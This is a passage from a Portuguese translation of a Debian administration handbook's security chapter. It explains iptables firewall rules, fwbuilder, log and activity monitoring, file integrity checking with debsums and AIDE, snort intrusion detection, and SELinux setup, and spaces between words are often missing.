esta tabela existe apenas paraIPv4;mangle diz respeito a outrasalterações nos pacotes IP(incluindo os TOS - Tipo deServiço - campo e opções);raw permite outras modificaçõesmanuais em pacotes antes dechegar ao sistema de rastreamentode conexões.

Cada tabela contém listas daschamadas regras cadeias. O firewallusa padrão para lidar com cadeias depacotes com base em circunstânciaspré-definidas. O administrador podecriar outras cadeias, o que só seráusado quando referido por uma das

cadeias padrão.

A tabela filter (filtro) possui trescadeias padrao:

INPUT (ENTRADA): preocupa secom os pacotes cujo destino é oproprio firewall;OUTPUT (SAIDA): preocupa secom os pacotes emitidos pelofirewall;FORWARD (PASSAR PARA

FRENTE): preocupa se com ospacotes em trânsito através dofirewall (que não é nem a suaorigem nem o seu destino).

A tabela nat também tem três cadeiasde padrão:

PREROUTING (PRE ROTEAMENTO):altera pacotes assim que eleschegam;POSTROUTING (pos

roteamento): altera pacotesquando eles estão prontos parapartir ao seu caminho;OUTPUT (SAÍDA): altera pacotesgerados pelo próprio firewall.

Figure 14.1. Como cadeias netfiltersão chamadas

Cada cadeia é uma lista de regras, cadaregra é um conjunto de condições euma ação a ser executada quando ascondições forem satisfeitas. Aoprocessar um pacote, o firewallexamina a cadeia se for o caso, umaregra após a outra, quando as condiçõespara uma regra estão reunidas, "pula"(daí a opção -j nos comandos) para aespecificada ação para continuar o

processamento. Os comportamentosmais comuns são padronizados, eexistem ações específicas para eles. Oprocessamento da cadeia toma umadestas ações de interrupções padrão,uma vez que o destino do pacote já estáselado (salvo uma exceção mencionadaa seguir):

DE VOLTA AO BASICO ICMP

ICMP (Internet Control MessageProtocol) é o protocolo usado paratransmitir informações complementaressobre as comunicações. Permite testar aconectividade de rede com o comandoping (que envia uma mensagem ICMPecho request (solicitação de eco), que obeneficiário se destina a responder com

uma mensagem ICMP echo reply)(resposta echo). É sinal de um firewallrejeitando um pacote, indica um estourode memoria no buffer de recebimento,propõe uma melhor rota para os pacotesseguintes na conexão, e assim por diante.Este protocolo é definido por váriosdocumentos RFC, o inicial RFC777 eRFC792 logo foram concluídos eampliados.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Para referência, um buffer de recepção éuma pequena região de memória paraarmazenamento de dados entre o tempoque chega na rede e o tempo que o kernelo manipula. Se esta regiao está cheia, osnovos dados não podem ser recebidos, e oICMP sinaliza o problema, de modo que o

emissor possa abrandar a sua taxa detransferência (que devem, idealmente,chegar a um equilíbrio após algumtempo).

Observe que, embora uma rede IPv4possa funcionar sem ICMP, ICMPv6 éestritamente necessário para uma redeIPv6, uma vez que combina váriasfunções que eram, no mundo IPv4,espalhados por ICMPv4, IGMP (InternetGroup Membership Protocol) e ARP(Address Resolution Protocol). ICMPv6 édefinido na RFC4443.

→ http://www.faqs.org/rfcs/rfc4443.html

ACCEPT: permite que o pacote sigaseu caminho;REJECT: rejeita o pacote com um

erro ICMP (o --reject-withtipo opção para iptables permiteseleccionar o tipo de erro);DROP: apaga (ignora) o pacote;LOG: log (via syslogd) umamensagem com uma descrição dopacote, observe que esta ação nãointerrompe o processamento, e aexecução da cadeia continua napróxima regra, razão pela qualrecusou registro de pacotes, requeras regras tanto LOG quantoREJECT/DROP;ULOG: registrar uma mensagem viaulogd, que pode ser melhoradaptada e mais eficiente do quesyslogd para lidar com um grandenúmero de mensagens, observe

que esta ação, como LOG,também retorna o processamentopara a próxima regra na cadeiachamada;chain_name: Vá para a cadeia eavalie as suas regras;RETURN: interrompe oprocessamento da cadeia atual, evolta para a cadeia de chamada;no caso a cadeia atual é padrão,não há nenhuma cadeia dechamada, de modo que a açãopadrão (definida com a opção - Ppara o iptables) é executada emvez disto;SNAT (apenas na tabela nat,portanto, somente em IPv4):aplica Fonte NAT (opções extra

descrevem as alterações exataspara aplicar);DNAT (apenas na tabela nat,portanto, somente em IPv4):aplica Destino da NAT (opçõesextra descrevem as alteraçõesexatas para aplicar);MASQUERADE (apenas na tabelanat, portanto, somente em IPv4):aplica masquerading (um casoespecial de NAT de origem);REDIRECT (apenas na tabela nat,portanto, somente em IPv4):redireciona um pacote para umadeterminada porta do firewall, istopode ser usado para configurar umproxy web transparente quefunciona sem nenhuma

configuração no lado do cliente,uma vez que o cliente pensa queele se conecta ao destinatário e ascomunicações realmente passampelo proxy.

Outras ações, particularmente asrelativas à tabela mangle, estão fora doescopo deste texto. O iptables(8) eip6tables(8) tem um lista completa.

14.2.2. Sintaxe doiptables e do ip6tablesOs comandos iptables e ip6tablespermitem manipulação de tabelas,cadeias e regrass. Sua opção tabela -

t indica em qual tabela operar (porpadrão, filtro).

14.2.2.1. Comandos

A opção -N cadeia cria uma novacadeia. A -X cadeia exclui uma cadeiavazia e sem uso. A -A regra decadeia adiciona uma regra no final dacadeia dada. A opção -I cadeianúmero_regra regra insere uma regraantes da regra número número_regra.A opção -D cadeia número_regra(ou a opção -D cadeia regra) removeuma regra em uma cadeia, a primeirasintaxe identifica a regra a serremovida pelo seu número, enquanto osegundo o identifica pelo seu conteúdo.

A opção -F cadeia libera uma cadeia(remove todas suas regras), senenhuma cadeia é mencionada, todas asregras da tabela são removidas. Aopção -L cadeia lista as regras nacadeia. Finalmente, a opção -P cadeiaação define a ação padrão, ou"política", para uma cadeia dada;observe que apenas as cadeias padrãopodem ter essa política.

14.2.2.2. Regras

Cada regra é expressa como condições-j ação opcoes_acoes. Se váriascondições são descritas na mesmaregra, entao o critério das condições é aconjugação (lógica e), que é pelo

menos tão restritiva quanto cadacondição individual.

A condição -p protocolo correspondeao campo protocolo do pacote IP. Osvalores mais comuns são tcp, udp,icmp, e ICMPv6. Prefixando a condiçãocom um ponto de exclamação nega acondição, que se transforma numacorrespondência para "todos os pacotescom um protocolo diferente daespecificada". Este mecanismo denegação não é específico para a opção-p e também pode ser aplicada a todasoutras condições.

A condição -s endereço ou -srede/máscara corresponde o endereço

de origem do pacote. Do mesmo modo,-d endereço ou -d rede/máscaracorresponde o endereço de destino.

A condicao -i interface seleciona ospacotes provenientes da interface derede. -o interface seleciona pacotessaindo em uma interface específica.

Existem condições mais específicas,dependendo das condições genéricasacima descritas. Por exemplo, acondição -p TCP pode sercomplementada com condições sobreas portas TCP, com cláusulas como --porta-origem porta e --porta-destino porta.

A condição --estado estado

corresponde ao estado de um pacote emuma conexão (isto requer o móduloipt_conntrack do kernel, pararastreamento de conexões). O estadoNEW descreve um pacote iniciando umanova conexão; O pacote ESTABLISHEDcorresponde aos pacotes pertencentes auma conexão já existente, e RELATEDcorrespondem aos pacotes iniciandouma nova conexão relacionada a um jáexistente (o que é útil para as conexõesftp-data no modo "active" doprotocolo FTP).

A seção anterior lista as açõesdisponíveis, mas não suas respectivasopções. A ação LOG, por exemplo, temas seguintes opções:

--log-priority, com valorpadrão aviso, indica a prioridadeda mensagem syslog;--log-prefix permite especificarum prefixo de texto paradiferenciar mensagens registradas;--log-tcp-sequence, --log-tcp-options e --log-ip-options indicam dados extras aserem integrados na mensagem:respectivamente, o número deseqüência TCP, opções TCP, e asopções IP.

A acao DNAT (disponível apenas paraIPv4) fornece a --to-destinationendereço: opcao port para indicar onovo endereço IP de destino e/ou porta.

Da mesma forma, SNAT fornece --to-source endereço:porta para indicaro novo endereço IP de origem e/ouporta.

A opcao REDIRECT (disponível apenaspara IPv4) fornece a opcao --to-portsporta (s) para indicar a porta, ou umalista de portas, onde os pacotes devemser redirecionados.

14.2.3. CriandoRegrasCada criação de regra exige umainvocação de iptables/ip6tables.Digitando estes comandos

manualmente pode ser tedioso, por issoas chamadas são normalmentearmazenados em um script para que amesma configuração seja criadaautomaticamente a cada vez que amáquina inicia. Este script pode serescrito à mão, mas também pode serinteressante prepará lo com umaferramenta de alto nível, tais comofwbuilder.

O princípio é simples. Na primeiraetapa, é preciso descrever todos oselementos que estarão envolvidos nasatuais regras:

o firewall, com suas interfaces derede;

as redes, com suas faixas de IPcorrespondentes;os servidores;as portas que pertencem aosserviços hospedados nosservidores.

As regras são então criadas comsimples ações de arrastar-e-soltar nosobjetos. Alguns menus contextuaispodem alterar a condição (negando o,por exemplo). Em seguida, a ação deveser escolhida e configurada.

Quanto IPv6 está ativo, pode se criardois conjuntos de regras distintas paraIPv4 e IPv6, ou criar uma só e deixarfwbuilder traduzir as regras de acordo

com os endereços atribuídos aosobjetos.

Figure 14.2. janela principal doFwbuilder

fwbuilder pode gerar um script deconfiguração do firewall de acordocom as regras que foram definidas. Suaarquitetura modular lhe confere acapacidade de gerar scripts que visamdiferentes sistemas (iptables paraLinux 2.4/2.6, ipf para o FreeBSD e pf

para OpenBSD).

Versões do pacote fwbuilder desdeSqueeze contém tanto a interfacegráfica e os módulos de cada sistemade firewall (estes foram previamentedivididos em vários pacotes, um paracada sistema de destino):

# aptitude install fwbuilder

14.2.4. Instalando asRegras em cadainicializacao

Se o firewall serve para proteger umaconexão de rede intermitente PPP, amaneira mais simples de implantar oscript é instalá lo como /etc/ppp/ip-up.d/0iptables (observe que apenasos arquivos sem um ponto em seunome são levados em conta). O firewallirá assim ser recarregado a cada vezque uma conexão PPP for estabelecida.

Em outros casos, a maneirarecomendada é registrar o script deconfiguração em uma directiva up do/etc/network/interfaces. Noexemplo a seguir, o script éarmazenado em/usr/local/etc/arrakis.fw.

Example 14.1. arquivo interfaceschamando script firewallauto eth0

iface eth0 inet static

address 192.168.0.1

network 192.168.0.0

netmask 255.255.255.0

broadcast 192.168.0.255

up /usr/local/etc/arrakis.fw

14.3. Supervisão:Prevenção,Detecção,DesencorajamentoO monitoramento é uma parteintegrante de qualquer política desegurança por várias razões. Entre elas,que o objetivo da segurança não énormalmente restrito a garantir aconfidencialidade dos dados, mastambém inclui a disponibilidadeassegurada dos serviços. Portanto, éimperativo para verificar se tudo

funciona como esperado, e paradetectar em tempo hábil qualquercomportamento desviante ou mudançana qualidade do serviço(s) processado.Atividade de controle pode permitir adetecção de tentativas de intrusão epermitir uma reação rápida antes queeles causem graves conseqüências. Estaseção analisa algumas ferramentas quepodem ser usadas para monitorarvários aspectos de um sistema Debian.Como tal, conclui a seção dedicada aomonitoramento do sistema genérico emChapter 12, Administração Avançada.

14.3.1. Monitoramentode Logs com logcheck

O programa logcheck monitoraarquivos de log a cada hora por padrão.Ele envia mensagens de log incomunsem e-mails para o administrador, paraposterior análise.

A lista de arquivos monitorados éarmazenada em/etc/logcheck/logcheck.logfiles,os valores padrão funcionam bem se oarquivo /etc/syslog.conf não foicompletamente refeito.

logcheck pode trabalhar em um dostrês modos mais ou menos detalhados:paranoid, server e workstation. Oprimeiro é muito verboso, eprovavelmente deve ser restrito a

servidores específicos, tais comofirewalls. O segundo modo (e padrão) érecomendado para a maioria dosservidores. O último é projetado paraestações de trabalho, e é ainda suscinto(que filtra mais mensagens).

Nos três casos, logcheckprovavelmente deve ser personalizadopara excluir algumas mensagens extras(dependendo dos serviços instalados), amenos que o administrador realmentedeseje receber lotes por hora de longose-mails desinteressantes. Uma vez queo mecanismo de seleção de mensagemé bastante complexo,/usr/share/doc/logcheck-

database/README.logcheck-

database.gz é uma necessidade - se

desafiador - leia.

As regras aplicadas podem serdivididas em vários tipos:

aqueles que qualificam umamensagem como uma tentativa deinvasao (armazenado em umarquivo no diretorio/etc/logcheck/cracking.d/);aqueles cancelando essasqualificaçoes(/etc/logcheck/cracking.ignore.d/aqueles classificando umamensagem como um alerta desegurança(/etc/logcheck/violations.d/);aqueles cancelando esta

classificacao(/etc/logcheck/violations.ignore.d/finalmente, as que se aplicam àsmensagens restantes (consideradascomo eventos de sistema).

ATENCAO Ignorando uma mensagem

Qualquer mensagem marcada como umatentativa de invasao ou um alerta desegurança (seguindo uma regraarmazenada num arquivo/etc/logcheck/violations.d/myfile) sópode ser ignorada por uma regra em/etc/logcheck/violations.ignore.d/myfile

ou no arquivo/etc/logcheck/violations.ignore.d/myfile-

Um evento de sistema é sempre

sinalizado a menos que uma regra emum dos diretorios/etc/logcheck/ignore.d.

{paranoid,server,workstation}/

indica que o evento deve ser ignorado.Naturalmente, apenas os directórioslevados em consideração são aquelesque correspondem aos níveis deverbosidade iguais ou maiores que omodo de funcionamento seleccionado.

DICA Seus logs como fundo de tela

Alguns administradores gostam de versuas mensagens de log rolar em temporeal, o comando root-tail (no pacote root-tail) pode ser usado para integrar os logspara o fundo da sua área de trabalhográfica. O programa xconsole (no pacote

x11-apps) pode também tê-los rolando emuma pequena janela. As mensagens sãodiretamente retiradas de syslogd atravésdo /dev/xconsole chamado pipe.

14.3.2. MonitorandoAtividades

14.3.2.1. Em Tempo Real

top é uma ferramenta interativa queexibe uma lista de processos emexecução. A triagem padrão baseia sena quantidade atual de utilização doprocessador e pode ser obtida com a

tecla P. Outras ordens de classificaçãoincluem uma espécie de memóriaocupada (tecla M), pelo tempo total doprocessador (tecla T) e peloidentificador de processo (tecla N). Atecla k permite matar um processo,digitando seu identificador deprocesso. O tecla r permite renicingum processo, ou seja, mudar suaprioridade.

Quando o sistema parece estarsobrecarregado, top é uma ótimaferramenta para ver quais processosestão competindo por tempo deprocessador ou consumindo muitamemória. Em particular, muitas vezesé interessante verificar se os recursos

do processos que consomem coincidemcom os serviços reais conhecidos que amáquina hospeda. Um processodesconhecido rodando como o usuáriowww-data deve realmente se destacar eser investigado, já que é provavelmenteuma instância do software instalado eexecutado no sistema através de umavulnerabilidade em uma aplicação web.

top é uma ferramenta muito flexível esua página de manual dá detalhes sobrecomo personalizar a sua exibição eadaptá la às nossas necessidadespessoais e hábitos.

As ferramentas gráficas gnome-system-monitor e qps são semelhantes

ao top e proporcionam mais ou menosas mesmas características.

DICA Representação Visual dasatividades

Para visuaualizar melhor (e divertir)representações da actividade de umcomputador, deve-se investigar Lavaps,bubblemon e pacotes bubblefishymon.Lavaps mostra os processos emexecução, como as bolhas de cera em umlava-lamp. bubblemon é um applet dopainel de área de trabalho que representaa quantidade de memória usada e o uso doprocessador como um aquário combolhas. bubblefishymon é bastantesemelhante, mas também acrescenta peixerepresentando tráfego de rede (e atémesmo um pato).

14.3.2.2. Historia

Carga do processador, o tráfego de redee o espaço livre no disco sãoinformações que variamconstantemente. Manter um históricode sua evolução é muitas vezes útilpara determinar exatamente como ocomputador é usado.

Existem muitas ferramentas dedicadasa esta tarefa. A maioria pode buscardados via SNMP (Simple NetworkManagement Protocol, a fim decentralizar esta informação. Umbenefício adicional é que este permite

buscar dados de elementos de rede quepodem não ser de computadores de usogeral, tais como roteadores de redededicadas ou switches.

Este livro trata Munin com algumdetalhe (ver Section 12.4.1, “SettingUp Munin”) como parte de“Administração Avançada”. Debiantambém fornece uma ferramentasimilar, cacti. Sua implantação é umpouco mais complexa, pois se baseiaapenas em SNMP. Apesar de ter umainterface web, compreender osconceitos envolvidos na configuraçãoainda requer algum esforço. Lendo adocumentação HTML(/usr/share/doc/cacti/html/index.html

deve ser considerado um pré-requisito.

ALTERNATIVO mrtg

mrtg (do pacote com mesmo nome) é umaantiga ferramenta. Apesar de algumasarestas, ela pode agregar dados históricose exibi-los na forma de gráficos. Elainclui uma série de scripts dedicados àcoleta de dados mais comumentemonitorados, tais como a carga doprocessador, o tráfego de rede, acessos àpágina da web, e assim por diante.

Os pacotes mrtg-contrib e mrtgutilscontem exemplos de scripts que podemser utilizados diretamente.

14.3.3. Detectando

14.3.3. DetectandoModificaçõesUma vez que o sistema esteja instaladoe configurado, e impedindoatualizações de segurança, geralmentenão há razão para a maioria dosarquivos e diretórios para evoluirem,exceeto os dados. É interessante,portanto, certificar se que os arquivosrealmente não alteram: qualquermudança seria, portanto, inesperada,valendo a pena investigar. Esta seçãoapresenta algumas ferramentas capazesde monitorar os arquivos e para avisaro administrador quando ocorrer umamudança inesperada (ou simplesmentepara listar tais mudanças).

14.3.3.1. Auditando Pacotes:debsums e seus limites

INDO ALEM Protegendo se contramudanças mais significativas

debsums é útil na detecção de alteraçõesem arquivos provenientes de um pacoteDebian, mas será inútil se o pacote em siestá comprometidO, por exemplo, se oespelho Debian está comprometida.Protegendo-se contra este tipo de ataquesenvolve a utilização de sistema APT deverificação de assinatura digital (vejaSection 6.5, “Verificando Autenticidadedo Pacote”), e tomando cuidado para sóinstalar pacotes a partir de uma origemcertificada.

debsums é uma ferramentainteressante, pois permite encontrar oque instalou arquivos que forammodificados (potencialmente por umatacante), mas isso deve ser tomadocom certa reserva. Primeiro, porquenem todos os pacotes do Debiancontém as impressões digitais exigidaspor este programa (que pode serencontrado em/var/lib/dpkg/info/pacote.

Md5sums quando existir). Como umlembrete: a impressão digital é umvalor, muitas vezes um número(mesmo que em notação hexadecimal),que contém uma espécie de assinaturapara o conteúdo de um arquivo. Estaassinatura é calculada com um

algoritmo (MD5 ou SHA1 sendoexemplos bem conhecidos) que garantamais ou menos que, mesmo a maisínfima mudança no conteúdo doarquivo implica uma mudança naimpressão digital, o que é conhecidocomo o "efeito avalanche". Isto permiteuma impressão digital numéricasimples para servir como um teste paraverificar se o conteúdo de um arquivoforam alterado. Estes algoritmos nãosão reversíveis, em outras palavras,para a maioria deles, sabendo aimpressão digital não permiteencontrar o conteúdo correspondente.Os recentes avanços matemáticosparecem enfraquecer o poder absolutodestes princípios, mas seu uso não é

posto em causa, até agora, produzir amesma impressão digital apartir deconteúdos diferentes ainda parece seruma tarefa bastante difícil.

Além disso, os arquivos MD5sums estãoarmazenados no disco rígido, umatacante completo, portanto, atualizaraesses arquivos para que eles contenhamas novas somas de controle para osarquivos subvertidos.

O primeiro inconveniente pode serevitado, pedindo debsums parabasearsuas verificações em um pacote.deb em vez de depender dos arquivosmd5sums. Mas que requer o downloaddo arquivo .deb correspondente

primeiro:

# apt-get --reinstall -d install `debsums -l`

[ ... ]

# debsums -p /var/cache/apt/archives -g

É importante notar também que, emsua configuração padrão, debsums geraautomaticamente os arquivos md5sumssempre que um pacote é instaladousando o APT.

O outro problema pode ser evitado deforma semelhante: o cheque devesimplesmente basear-se num puroarquivo .deb. Uma vez que estaimplica em ter todos os arquivos .debpara todos os pacotes instalados, e ter

certeza de sua integridade, a maneiramais simples é baixa los de um espelhoDebian. Esta operação pode ser lenta etediosa, e não deve, portanto, serconsiderada uma técnica dinamica a serutilizada numa base regular.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Pacote`

[ ... ]

# debsums -p /var/cache/apt/archives --generate=all

Note que este exemplo usa o comandogrep status a partir do pacote dctrl-tools, que não é instalado por padrão.

14.3.3.2. MonitorandoArquivos: AIDE

A ferramenta AIDE (AdvancedIntrusion Detection Environment -Ambiente Avançado de DeteccaoIntrusao) permite verificar aintegridade de arquivos, e detectarqualquer mudança em relacao a umaimagem gravada anteriormente dosistema válido. Esta imagem éarmazenada como um banco de dados (/var/lib/aide/aide.db) que contémas informações relevantes de todos osarquivos do sistema (impressõesdigitais, permissões, timestamps eassim por diante). Este banco de dadosé inicializado com aideinit, que é entãousado diariamente (pelo script/etc/cron.daily/ ) para verificar quenada de relevante mudou. Quando

forem detectadas alterações, AIDEgrava os em arquivos de log(/var/log/aide/*.log) e envia osseus resultados ao administrador por e-mail.

NA PRATICA Proteger o banco de dados

Como AIDE usa um banco de dados localpara comparar os estados dos arquivos, avalidade de seus resultados estádiretamente ligada à validade do banco dedados. Se um atacante obtém permissõesde root em um sistema comprometido,eles serão capazes de substituir o bancode dados e cobrir seus rastros. Umapossível solução seria armazenar osdados de referência em mídia somenteleitura de armazenamento.

Muitas opções em /etc/default/aidepode ser usadas para ajustar ocomportamento do pacote aide. Aconfiguração AIDE adequada éarmazenada em /etc/aide/aide.confe /etc/aide/aide.conf.d/ (naverdade, esses arquivos são usadosupdate-aide.conf para gerar/var/lib/aide/aide.conf.autogenerated

Configuração indica quais propriedadesde arquivos precisam ser verificadas.Por exemplo, o conteúdo de arquivoslog muda rotineiramente, e estasmodificações podem ser ignoradas,desde que as permissões destesarquivos permaneçam o mesmo, masambos os conteúdos e as permissões de

programas executáveis devem serconstantes. Embora não seja muitocomplexo, a sintaxe de configuraçãonão é totalmente intuitiva, e a leiturade aide.conf(5) da página do manual érecomendada.

Uma nova versão do banco de dados égerada diariamente em/var/lib/aide/aide.db.new, setodas alterações registradas eramlegítimas, ele pode ser usado parasubstituir o banco de dados dereferência.

ALTERNATIVO Tripwire and Samhain

Tripwire é muito semelhante ao AIDE;mesmo a sintaxe arquivo de configuração

é quase a mesma. A adição principalfornecida pelo tripwire é um mecanismopara assinar o arquivo de configuração,de modo que um atacante não pode tornálo ponto em uma versão diferente dobanco de dados de referência.

Samhain também oferece característicassemelhantes, bem como algumas funçõesajudar a detectar rootkits (veja o quadroQUICK LOOK). Também pode serimplementado globalmente em uma rede,e gravar os seus vestigios em um servidorcentral (com uma assinatura).

BLOQUEIO RAPIDO os pacoteschecksecurity e chkrootkit/rkhunter

O primeiro destes pacotes contém váriospequenos scripts que executam

verificações básicas sobre o sistema(senhas vazias, arquivos setuid novos, eassim por diante) e alerta o administrador,se necessário. Apesar de seu nomeexpressar, um administrador não deveconfiar somente nele para certificar seque um sistema Linux está seguro.

Os pacotes chkrootkit e rkhunterpermitem buscar por potenciais rootkitsinstalados no sistema. Como um lembrete,existem peças de software desenvolvidaspara esconder o comprometimento de umsistema enquanto, discretamente, mantémo controle da máquina. Os testes não são100% confiáveis, mas eles geralmentechamam a atenção do administrador parapotenciais problemas.

14.3.4. DetectandoIntrusoes (IDS/NIDS)

DE VOLTA AO BASICO Negação deserviço

O ataque "negação de serviço" temapenas um objetivo: tornar um serviçoindisponível. Se tal ataque envolve asobrecarrega do servidor com consultasou explorar uma falha, o resultado final éo mesmo: o serviço não é maisoperacional. Os usuários regulares estãoinfelizes, e a entidade que hospeda oserviço de rede alvo sofre uma perda dereputação (e, eventualmente, em receita,por exemplo, se o serviço era um site de

comércio eletrônico).

Tal ataque é por vezes "distribuído", oque geralmente envolve sobrecarregar oservidor com um grande número deconsultas provenientes de muitas fontesdiferentes para que o servidor se tornaincapaz de responder às perguntaslegítimas. Estes tipos de ataquesganharam siglas bem conhecidas: DoS eDDoS (dependendo se o ataque denegação de serviço distribuído ou não).

snort (no pacote Debian com o mesmonome) é um NIDS - um Sistema deDetecção de Intrusão de Rede. Suafunção é ouvir a rede e tentar detectartentativas de infiltração e/ou atoshostis (incluindo ataques de negação de

serviço). Todos esses eventos sãoregistrados, e diariamente um e-mail éenviado para o administrador com umresumo das últimas 24 horas.

Sua configuração exige que descreva ointervalo de endereços que a rede localcobre. Na prática, isso significa que oconjunto de todos os alvos potenciaisde ataque. Outros parâmetrosimportantes podem ser configuradoscom dpkg-reconfigure snort,incluindo a interface de rede paramonitorar. Isto será muitas vezes eth0para uma conexão Ethernet, masexistem outras possibilidades, comoppp0 para uma ADSL ou PSTN (PublicSwitched Telephone Network ou bom e

antigo modem dial-up), ou mesmowlan0 para algumas placas de rede semfio.

INDO MAIS Integração com o prelude

Prelude traz monitoramento centralizadode informações de segurança. Suaarquitetura modular inclui um servidor (ogerente manager em prelude-manager)que reúne os alertas gerados por sensoresde vários tipos.

Snort pode ser configurado como talsensor. Outras possibilidades incluemprelude-lml (Log Monitor Lackey ), quemonitora os arquivos de log (de formasemelhante ao logcheck, descrito emSection 14.3.1, “Monitoramento de Logscom logcheck”).

O arquivo de configuraçãosnort(/etc/snort/snort.conf) émuito longo, e os comentáriosabundantes descrever cada directivacom muito detalhe. Obtendo o máximodo que exige lendo o na íntegra eadaptando-o à situação local. Porexemplo, indicando quais máquinas equais serviços pode limitar o númerode incidentes o snort irá relatar, já queum ataque de negação de serviço emuma máquina desktop está longe de sertão crítica como em um servidor DNS.Outra diretriz interessante permitearmazenar os mapeamentos entreendereços IP e endereços MAC (estesidentificam uma placa de rede), de

modo a permitir a detecção de ataquesARP spoofing por que uma ou outratentativas de máquinas comprometidasmascaram outra, como um servidorsensível.

ATENCAO Raio de ação

A eficácia do snort é limitada pelotráfego visto na interface de redemonitorada. Obviamente, não será capazde detectar qualquer coisa se não podeobservar o tráfego real. Quandoconectado a um switch de rede, ele irá,portanto, apenas monitorar ataques contraa máquina que ele roda, provavelmentenão é a intenção. A máquina dehospedagem snort deve estar ligada ao"espelho" da porta do switch, quenormalmente é dedicada aos interruptores

de encadeamento e, portanto, recebe todoo tráfego.

Em uma pequena rede em torno de umhub de rede, não existe esse problema,uma vez que todas máquinas obtem todoo tráfego.

14.4. Introducaoao SELinux

14.4.1. PrincipiosSELinux (Security Enhanced Linux) éum sistema de controle de acessoobrigatório construído sobre ainterface LSM (Linux SecurityModules) do Linux. Na prática, okernel consulta o SELinux antes decada chamada do sistema para saber seo processo está autorizado a fazer aoperação dada.

SELinux utiliza um conjunto de regras- conhecidos coletivamente como umapolítica - para autorizar ou proibir asoperações. Essas regras são difíceis decriar. Felizmente, duas diretivaspadroes (targeted e strict) sãofornecidas para evitar a maior parte dotrabalho de configuração.

Com o SELinux, a gestão dos direitos écompletamente diferente do sistemaUnix tradicional. Os direitos de umprocesso depende de seu contexto desegurança. O contexto é definido pelaidentidade do usuário que iniciou oprocesso, o papel e o domínio que ousuário realizada naquele momento. Osdireitos realmente dependem do

domínio, mas transições entre osdomínios são controladas pelos papéis.Finalmente, as transições possíveisentre os papéis dependem daidentidade.

Figure 14.3. Contextos de segurançae usuários Unix

Na prática, durante o login, ao usuárioé atribuído um contexto de segurançapadrão (dependendo das funções queeles devem ser capazes de endossar).Isto define o domínio corrente e, assim,o domínio que todos os novosprocessos filho irao transportar. Se

você quiser alterar o papel atual e seudomínio associado, você deve chamarnewrole-r role_r -t domain_t(normalmente há apenas um únicodomínio permitido para umadeterminada função, o parâmetro -tpode, assim, muitas vezes, ser deixadode fora). Este comando autentica vocêpedindo que você digite sua senha. Esterecurso proíbe programas mudaremautomaticamente os papéis. Taismudanças só podem acontecer se foremexpressamente permitidas pela políticaSELinux.

Obviamente, os direitos não se aplicama todos os objetos (arquivos, diretórios,soquetes, dispositivos, etc.). Eles

podem variar de objeto para objeto.Para isso, cada objeto é associado a umtipo (isto é conhecido comorotulagem). Direitos de domínio são,portanto, expressos com conjuntos deoperações (nao)permitidos sobre ostipos (e, indiretamente, em todos osobjetos que são rotulados com o tipo dedado).

EXTRA Domínios e Tipos sãoequivalentes

Internamente, um domínio é apenas umtipo, mas um tipo que só se aplica aprocessos. É por isso que são domínioscom o sufixo _t como tipos de objeto.

Por padrão, um programa herda seudomínio do usuário que o iniciou, maspolíticas SELinux padrões esperam quemuitos programas importantes sejamexecutados em domínios dedicados.Para conseguir isso, estes executáveissão marcados com um tipo específico(por exemplo ssh) é marcado comssh_exec_t, e quando o programa éiniciado, ele muda automaticamente nodominio ssh_t). Este mecanismo detransição automática de domínio tornapossível conceder apenas os direitosnecessários para cada programa. É umprincípio fundamental do SELinux.

Figure 14.4. Transicoes automaticasentre dominios

NA PRATICA Encontrar o contexto de

segunranca

Para encontrar o contexto de segurançade um determinado processo, você deveusar a opção Z do ps.

$ ps axZ | grep vstfpd

system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

O primeiro campo contém a identidade, opapel, o domínio e o nível MCS,separados por vírgulas. O nível de MCS(Multi-Category Security) é um parâmetroque intervém na configuração de umapolítica de protecção daconfidencialidade, que regula o acesso aarquivos com base em sua sensibilidade.Esta funcionalidade não será explicadaneste livro.

Para encontrar o contexto de segurançaatual em um shell, você deve chamar id-Z.

$ id -Z

unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Finalmente, para encontrar o tipoatribuído a um arquivo, você pode usar ols -Z.

$ ls -Z test /usr/bin/ssh

unconfined_u:object_r:user_home_t:s0 test

system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

É interessante notar que a identidade e opapel atribuído a um arquivo não têmqualquer importância especial (eles nuncasão usados), mas por uma questão deuniformidade, todos os objetos sãoatribuídos num contexto de segurançacompleto.

14.4.2. Configurando

o SELinuxO suporte SELinux é construído noskernels padroes fornecidos peloDebian. As principais ferramentas desuporte Unix SELinux sem quaisquermodificações. É, assim, relativamentefácil, habilitar SELinux.

O comando aptitude install selinux-basics selinux-policy-default iráinstalar automaticamente os pacotesnecessários para configurar um sistemaSELinux.

O pacote selinux-policy-default contémum conjunto de regras padrão. Porpadrão, essa política só restringe o

acesso a alguns serviços amplamenteexpostos. As sessões de usuários nãoestá restritas e, portanto, é improvávelque o SELinux iria bloquear asoperações do usuário legítimo. Noentanto, isso faz aumentar a segurançade serviços do sistema rodando namáquina. Para configurar uma políticacorresponde à antigo regra "strict",você só tem que desativar o módulounconfined (gestão de módulos édetalhada ainda nesta seção).

Uma vez que a política tenha sidoinstalada, você deve marcar todos osarquivos disponíveis (o que significaatribuir-lhes um tipo). Esta operaçãodeve ser iniciada manualmente com

fixfiles relabel.

O sistema SELinux agora está pronto.Para habilitá-lo, você deve adicionar oparâmetro selinux=1 para o kernel deLinux. O parâmetro selinux=1 habilitao log SELinux que registra todasoperações negadas. Finalmente, oparâmetro enforcing=1 traz as regraspara aplicação: sem ele SELinuxfunciona no modo padrão permissiveonde as ações negadas são registradas,mas ainda executadA. Você deve,portanto, modificar o arquivo deconfiguração do GRUB para anexar osparâmetros desejados. Uma maneirafácil de fazer isso é modificar Avariável GRUB_CMDLINE_LINUX em

/etc/default/grub e executarupdate-grub. SELinux estará ativoapós uma reinicialização.

É interessante notar que o scriptselinux-activate automatiza asoperações e força uma rotulagem napróxima inicialização (o que evitacriacao de novos arquivos não-rotulados enquanto o SELinux aindanão estiver ativo, e enquanto arotulagem estiver acontecendo).

14.4.3. Gerenciandoum Sistema SELinuxA política do SELinux é um conjunto

